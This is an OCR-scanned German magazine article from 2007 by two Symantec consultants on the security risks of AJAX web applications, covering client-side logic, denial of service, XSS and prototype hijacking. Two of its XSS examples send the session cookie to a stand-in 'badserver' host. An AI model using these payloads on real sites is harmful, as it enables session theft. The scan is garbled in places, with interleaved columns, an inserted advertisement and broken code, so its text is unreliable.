Bedrohung Web-Anwendungen

A.IAX, aber sicher!
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Von Oliver Karow und Richard Sammet, Wiesbaden

Der Begriff AJAX wurde be-
reits 2005 mit dem Artikel ,AJAX: A
New Approach To Webapplications”
von Jesse James Garrett kreiert — und
gleichzeitig begann ein neuer Trend
in der Entwicklung von Web-Appli-
kationen. Mittlerweile kommt kaum

noch eine moderne Web-Anwen-
dung ohne AJAX aus.

AJAX selbst beschreibt keine
wirklich neue Technik und auch
kein Produkt, sondern ist lediglich
eine Bezeichnung fir die Kombina-
tion unterschiedlicher Vertahren, die
schon seit Jahren existieren. Doch
offenbar erst mit der Einfiihrung des
Begriffes AJAX wurden sie fur Ent-
wickler , greifbar”, die Vorteile ihrer
kombinierten Nutzung ersichtlich
und der Entwickler-Community
erschloss sich ein breites Verwen-
dungsspektrum.

Dassmit AJAX nichtnur Vor-
teile, sondern auch neue Sicherheits-
risiken verbunden sind, hat vielen
Internetnutzern der MySpace-Wurm
Samy gezeigt: Samy war der erste off1-
ziell bekannte Wurm auf AJAX-Basis
und pflanzte sich fort, indem er eine
einfache Cross-Site-Scripting-(XSS)-
Schwachstelle in einer Funktion des
Webportals MySpace ausnutzte, die
flir Benutzerprofile zustandig ist.

Hintergrund

AJAX bedeutet Asynchro-
nous Javascript and XML. Schaut
man sich die zugehorigen Techniken
genauer an, so offenbaren sich bereits
die ersten Auswirkungen auf die Si-
cherheit: Um die Asynchronitdt der
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Kommunikation zwischen Browser
und Web-Anwendung realiseren zu
konnen, wird das XMLHttpRequest-
Objekt des Browsers verwendet,
das mittels Javascript (und anderer
Script-Sprachen, etwa VBScript)
zu steuern ist. Dieses Objekt ist im
Internet Explorer vor Version7 in
Form einer zusatzlichen AktiveX-
Komponente enthalten, wdhrend
es bei anderen Browsern wie Firetox
und Internet Explorer7 nativ in der
Browser-Engine implementiert ist.

Um das XMLHttpRequest-
Objekt verwenden zu konnen, muss
in den Sicherheitseinstellungen des
Browsers die Ausflihrung von Java-
script erlaubt sein. Diese Einstellung
wiederum hat Auswirkungen auf die
Gesamtsicherheit des Browsers, denn
viele Angriffe gegen Webbrowser
basieren auf der Ausfiihrung von
Scriptcode. Ein Unternehmen, das
eine AJAX- oder Javascript-basierte
Applikation betreibt, muss den zuge-
horigen Webserver in die vertrauens-
wiirdige Zone des Internet Explorers
seiner Clients aufnehmen , sofern
man nicht jeder Website die (evtl.
riskante) Ausfilhrung von Skripten
gestatten will. Bei anderen Browsern
sollte hierzu ebenfalls — so vorhan-
den - die sitebasierte Zuweisung von
Rechten genutzt werden.

Unter anderem erfreut sich
AJAX deshalb so grofder Beliebtheit,
weil es einen Browser in die Lage
versetzt, dem Anwender einen ahn-
lich hohen Bedienkomfort wie eine
Desktop-Anwendung zu bieten. Rea-
lisiert wird dies hauptsachlich durch
zwei Mechanismen: Zum einen ist
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die AJAX-Engine (dargestellt durch
das XMLHttpRequest-Objekt) in der
Lage, im Hintergrund kontinuierlich
Daten mit dem Web-Server auszutau-
schen, ohne dass der Benutzer eine
Aktion ausfiihren muss — in der Regel
bekommt der Anwender von dem
Datenaustausch nicht einmal etwas
mit. Dadurch konnen Inhalte der
Webseite regelmidflig ohne Durch-
fiihrung eines Seiten-Refreshs durch
den Benutzer aktualisiert werden.

Zum anderen stellen mo-
derne Web-Browser quasi eine kom-
plette Entwicklungsumgebung dar,
die komplexe Anwendungen unter
Zuhilfenahme von Javascript/VB-
Script, DOM, DHTML und Anderem
realisieren kann. Dies ermoglicht es,
bei der Entwicklung von Applika-
tionen Teile der Anwendungslogik
auf den Client auszulagern. Zwar
lasst sich dadurch Rechenzeit aut
dem Anwendungs-Server einsparen,
jedoch entsteht ein erhebliches Risi-
ko, wenn man beispielsweise bei der
Entwicklung eines Online-Shops die
Berechnung des Kaufpreises auf dem
Client durchfihrt.

Server-Risiken

Hier gilt eine der Faustregeln
sicherer Systementwicklung: Benut-
zereingaben sind nicht vertrauens-
wiirdig! Alles, was der Web-Browser
verarbeitet, kann vom Anwender
manipuliert werden, bevor es zum
Server geht. Grundsdtzlich sollte
man sensitive Daten also nur auf dem
Server bearbeiten. Lasst sich eine
Auslagerung auf den Client nicht
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vermeiden, so ist eine serverseitige
Priifung unerlasslich.

Asynchrone Kommunikation

Die asynchrone Kommu-
nikation zwischen Browser und
Web-Applikation kann zudem De-
nial-of-Service-(DoS)-Angriffe gegen
die Web-Applikation ermoglichen.
Ein Beispiel: Bei einer klassischen
Web-Anwendung wird der Benutzer
bei der Suche in einem Online-Shop

en Suchbegriff vollstindig in ein
Textfeld eingeben und danach einen
Button anklicken, um die Daten vom
Browser zum Server zu senden. Die
Anfrage wird einmalig vom Server
verarbeitet, das Ergebnis zurtickge-
sendet und dargestellt. Fir hoheren
Bedienkomfort konnte man in einer
AJAX-basierten Applikation das Text-
feld um eine Auto-Vervollstaindigun
erweitern: Mit jedem Buchstaben,
den der Benutzer eingibt, zeigt de
Browser dann einen Vorschlag an,
um die Eingabe zu vervollstandigen.
Hierzu sendet die AJAX-Engine im
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Hintergrund nach jedem eingegebe- keit gelangen. Um ein solches Risiko
nen Buchstaben eine Anfrage zum zu vermeiden, ist ein austuhrlicher
erver. Lasttest der Applikation unumgang-
lich —insbesondere dann, wenn eine
Gegenuiber klassischen Ver- bestehende Applikation auf AJAX
fahren erhoht sich — wie im genann- umgestellt wird.
ten Beispiel-die Anzahl der Anfragen
und Antworten bei vielen AJAX- Sub-Requests
Applikationen enorm. Multipliziert
man das dann mit mehreren tausend Betrachtet man AJAX-Ap-
gleichzeitig aktiven Benutzern, so plikationen im Hinblick auf die
kann eine Web-Applikation schnell bekannten Angritfe gegen Web-An-
an die Grenzen ihrer Leistungsfahig- wendungen, wie beispielsweise SQL-

Codebeispiel 1:
Kommunikation
tber Sub-Requests



Bedrohung Web-Anwendungen
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Injection, Directory Traversal oder Client erstellt werden. Ein solcher Sub-Requests konnen im
Cross-Site-Scripting (XSS), so zeigt Sub-Request wird in Zeile6 des Ubrigen nur im Sicherheitskontext
sich serverseitig kein wesentlicher Codebeispiels 1 definiert und in Zei- (Protokoll, Subdomain Zie"F ort) der
Unterschied in der Verwundbarkeit. le 12 abgesendet. Der Rest des Codes restlichen! Web- Anwe]_-;dm;p eser-
Gleiches gilt auch fiir AJAX-An- erstellt ein XMLHttpRequest-Obijekt, det werden. Daher muss mai Eereitg
wendungen, die ihre Daten mittels emptiangt die Server-Antwort und ‘

, ) | in der Designphase einer Applikation
XML an Web-Services ubertragen. gibt sie in einer Alert-Box aus. feststellenn. ob auch SEI]SiEEE Daten

H::ler k?m@en spezifische Angritfe, per AJAX-Sub-Request tbertragen
wie beispielsweise Xpath-Injection, Wie deutlich zu sehen ist, werden. Ist dies der Fall. sollte die

genauso zum Tragen wie bei klassi- wird ein GET-Request mit dem Para- komplette Applikation nur tiber

schen Web-Applikationen. meter query und dem Wert KES an Secure Sockets Layer (SSL) erreichbar

, y _ das Script suchen.php auf dem Web- sein — ein Wechsel der Protokolle
Allerdings andert sich der Server gesendet. Um dieses Script

Angriffsvektor: AJAX-basierte An- auf die genannten Schwachstellen grundsitzlich nicht moglich. Ein
wendungen senden Daten in Form zu testen, braucht ein Angreifer den AJAX-Request, der Benutzergnam-e und
so genannter Sub-Requests, die Wert KES lediglich durch angriffsspe- Passwort enth;i]t etwa

mittels Javascript-Code auf dem zifische Muster zu ersetzen. So wiirde myXMLHttp.op;n \GET

innerhalb einer Anwendung ist
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digen, im Hintergrund ablaufenden
Aktivititen der AJAX-Engine konnen
sich Angriffe auf den Client, bei-
spielsweise durch Cross-Site-Scrip-
ting (XSS), dauerhaft im Browser
einklinken. Damit stellen sie ein
deutlich hoheres Risiko dar als bei
klassischen Applikationen. Cross-
Site-Scripting-Angriffe vor AJAX
hatten grundsatzlich eine sehr kurze
Lebensdauer: Klickte ein Benutzer
auf einen modifizierten Link, so wur-
de der darin eingebettete Script-Code
einmalig ausgefiihrt. Fiir eine langere
Lebenszeit im Browser musste man
mit allerhand Tricks arbeiten, was so-
wohl das ,Risiko” der Angrittserken-
nung durch den Benutzer als auch
die Komplexitdt des Angriffs ethohte
—und somit dessen Fehleranfalligkeit
(Langenbegrenzung des Scriptcodes,
Eingabefilterung etc.).

Mit AJAX ist es wesentlich
einfacher moglich, Script-Code in
den Browser einzubetten, der so
lange im Hintergrund lduft, bis der

Browser beendet wird. Damit sind
beispielsweise Angriffe denkbar, die
mittels einer XSS-Attacke alle beim
Surfen des Benutzers antallenden
Daten im Hintergrund zum Angrei-
fer senden. Eine Methode, die einen
solchen Angriff ermoglicht, ist das
Prototype-Hijacking: Dabei nutzt ein
Angreifer die Moglichkeit Scriptcode
zuinjizieren, um bestehende Objekte
zu modifizieren oder zu uberschrei-
ben (der objektorientierte Ansatz
von Javascript verwendet Prototypen
statt Klassen, daher der Name).

Angriffsziel: Client

So wiirde beispielsweise das
Code-Beispiel 2 das AJAX-Kernobjekt
XMLHttpRequest durch eine eigene
Funktion ersetzen. Diese kreiert eine
eigene Instanz des XMLHttpRequest-
Objekts (Zeile 3), um die Kommuni-
kation mit der Applikation nicht zu
unterbrechen und zusdtzlich den ak-
tuellen Session-Cookie an den Server
des Angreifers zu senden (ZeileJd).

Der vergleichbare konventi-
onelle XSS-Angriff wiirde beispiels-
weise so aussehen:

http://goodserver/vulnerab-
lescript.php?item=<script>1im
age=document.createElement (
‘img’ ) ; image.src=%22http://
badserver/datagrabber.
php?cookie=%22%2Bdocument.

cookle;</gcripte

Ein Klick auf einen derart
modifizierten Link wirde jedoch
nur einmal den Session-Cookie an
den Angreifer senden. Der nach-
folgende AJAX-Angriff wirde sich
hingegen persistent in den Browser
einklinken und bei jedem Aufruf des
XMLHttpRequest-Objekts den Sessi-
on-Cookie an den Angreifer senden:

http://goodserver/vulnerab-
lescript.php?item=var xhr =
XMLHttpRequest; XMLHttpRequ -
sat = FonetCion() {thls.xml

= new xhr () ,;1mage=document.

createElement (‘img’) ; 1mage.
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Security Services

Etablieren von unternehmensweiten
IT-Sicherheitsprozessen

IT-Sicherheitsmanagemen
IT-Grundschutz

ISO 17799/27001
Audits/Zertifizierungen

IT-Sicherheitskonzepte
Risikoanalysen
Datenschutz
Notfallvorsorge

Coroons 1T Sorutions & Seavicss

Externer Datenschutz
IT-Sicherheitsmanager

ISO 27001 Lead Auditoren
BSI| Grundschutzauditoren

Produkte:

SAVed |IT-Sicherheitsdaten-
bank fur IT-Sicherheitsmana-
gement und Datenschutz

Sicherheitsgateway
zur Informationsflusskontrolle
an den Netzgrenzen

Bedrohung

Web-Anwendungen

src="http://badserver/data-
grabber.php?cookie=" + docu-

ment .cookie;return this; }

Dieses Beispiel fur Cross-
Site-Scripting (XSS) und Prototype-
Hijacking zeigt gleichzeitig eine
mogliche Durchbrechung der so
genannten Same-Origin-Policy des
Browsers, ein in den Browser inte-
grierter Sicherheitsmechanismus,
der dafir sorgt, dass ein Skript von
beispielsweise example.com nur auf
Ressourcen (Objekte, Dateien etc.)
der gleichen Domain zugreifen kann.
Damit soll verhindert werden, dass
ein Angreifer durch Einschmuggeln
eines Skripts zum Beispiel Daten des
Benutzers auslesen und an einen
dritten Server weiterleiten kann.

In dem oben angefiihrten
Beispiel durfte also das Skript, das
vondem Server , goodserver” geladen
wurde, gar keine Daten an den Server
,badserver” weiterleiten. Dass dies
dennoch funktioniert, liegt an der
Verwendung des Image-Objekts, um
in den genannten Beispielen Daten
an das Skript datagrabber.php zu sen-
den. So geht der Browser davon aus,
dass es sich bei der angesprochenen
Ressource um ein Bild handelt. Wiir-
de ein Angreifer in Codebeispiel 2
anstelle des image.src-Tricks die nor-
malen XMLHttpRequest-Methoden
open und send verwenden, so wiirde
die Same-Origin-Policy greifen und
den Angritf verhindern.

Angriffe dieser Art konnen
nur unterbunden werden, wenn
seitens der Web-Applikation eine
strenge Filterung von Script-Code
erfolgt. Hierbei sind nattirlich auch
die gangigen Encoding-Verfahren zu
bertuicksichtigen, die Angreifer gerne
zum Umgehen serverseitiger Einga-
befilter verwenden.

Frameworks und
Libraries

Da die Entwicklung von
AJAX-Applikationen sehr komplex
werden kann, hat sich die Verwen-

dung von Frameworks und -Libraries
durchgesetzt, um Programmierern
die Arbeit zu erleichtern. Der Funkti-
onsumfang dieser Frameworks reicht
vom blofden Generieren des fiir AJAX
benotigten Client-Side-Javascript-
Codes bis hin zum Session-Manage-
ment fur AJAX-Sub-Requests. Viele
der verfiigbaren Frameworks wurden
jedoch nicht mit Fokus auf sichere
Programmierung entwickelt; daher
wurden in jingster Vergangenheit
in bekannten Frameworks etliche
Sicherheitsprobleme wie beispiels-
weise Cross-Site-Request-Forgery
(CSRF), JSON-Injections, JSON-Call-
back-Attacks und Javascript-Injec-
tions entdeckt.

Damit AJAX-Anwendungen
nicht automatisch die Schwachstel-
len der verwendeten Frameworks
erben, ist zumindest darauf zu
achten, stets aktuelle Versionen zu
verwenden, filir die keine Sicherheits-
licken bekannt sind. Des Weiteren
empfiehlt es sich, nicht-benotigte
Javascript-Code-Funktionen zu ent-
fernen, die im Framework erstellt
oder in einer Library enthalten sind,
und so die Angriffstlaiche minimal
zu halten.

Fazit

Viele der genannten Risiken
existierten in der einen oder anderen
Form auch schon vor AJAX. Aus Sicht
eines Sicherheitsverantwortlichen
hat jedoch die Komplexitat von An-
wendungen insbesondere auf der Cli-
ent-Seite stark zugenommen — ent-
sprechend erhoht sich der Aufwand
bei der Umsetzung bestehender Si-
cherheitsrichtlinien. Werden die aus
der Softwareentwicklung bekannten
Vorgaben sicherer Programmierung
konsequent umgesetzt, so sind AJAX-
basierte Anwendungen letztlich aber
ebenso sicher zu realisieren wie An-
wendungen, die auf anderen Verfah-
ren basieren.

Oliver Karow und Richard Sammet sind
Security Consultants bei Symantec.

© SecuMedia Verlags-GmbH - 55205 Ingelheim - <kes> 2007%1




